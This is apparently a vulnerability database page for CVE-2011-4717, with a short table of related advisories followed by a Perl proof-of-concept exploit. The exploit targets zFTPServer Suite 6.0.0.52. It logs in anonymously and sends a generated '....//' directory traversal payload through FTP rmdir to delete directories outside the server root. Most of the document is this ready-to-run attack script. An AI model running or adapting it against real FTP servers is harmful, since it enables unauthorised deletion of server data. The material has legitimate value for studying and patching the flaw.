| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal | 11 Dec 201100:00 | – | zdt | |
| CVE-2011-4717 | 20 Dec 201111:00 | – | cve | |
| CVE-2011-4717 | 20 Dec 201111:00 | – | cvelist | |
| EUVD-2011-4635 | 7 Oct 202500:30 | – | euvd | |
| zFTPServer Suite 6.0.0.52 - rmdir Directory Traversal | 11 Dec 201100:00 | – | exploitpack | |
| CVE-2011-4717 | 20 Dec 201111:55 | – | nvd | |
| zFTPServer Suite 6.0.0.52 Directory Traversal | 12 Dec 201100:00 | – | packetstorm | |
| Directory traversal | 20 Dec 201111:55 | – | prion | |
| CVE-2011-4717 | 22 May 202504:31 | – | redhatcve | |
| zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal | 19 Dec 201100:00 | – | securityvulns |
#!/usr/bin/perl
#################################################################################
# Advisory: zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal
# Author: Stefan Schurtz
# Contact: [email protected]
# Affected Software: Successfully tested on zFTPServer Suite 6.0.0.52
# Vendor URL: http://www.zftpserver.com/
# Vendor Status: fixed
# CVE-ID: CVE-2011-4717
# PoC-Version: 0.2
#################################################################################
use strict;
use Net::FTP;
my $user = "anonymous";
my $password = "anonymous@";
########################
# connect
########################
my $target = $ARGV[0];
my $plength = $ARGV[1];
print "\n";
print "\t#######################################################\n";
print "\t# This PoC-Exploit is only for educational purpose!!! #\n";
print "\t#######################################################\n";
print "\n";
if (!$ARGV[0]||!$ARGV[1]) {
print "[+] Usage: $@ <target> <payload length>\n";
exit 1;
}
my $ftp=Net::FTP->new($target,Timeout=>15) or die "Cannot connect to $target: $@";
print "[+] Connected to $target\n";
########################
# login
########################
$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";
###################################################
# Building payload '....//' with min. length of 38
##################################################
my @p = ( "",".",".",".",".","/","/" );
my $payload;
print "[+] Building payload\n";
for (my $i=1;$i<=$plength;$i++) {
$payload .= $p[$i];
push(@p,$p[$i]);
}
sleep(3);
#########################################
# Sending payload
#########################################
print "[+] Sending payload $payload\n";
$ftp->rmdir($payload) or die "rmdir failed ", $ftp->message;
##########################################
# disconnect
##########################################
print "[+] Done\n";
$ftp->quit;
exit 0;
#EOFData
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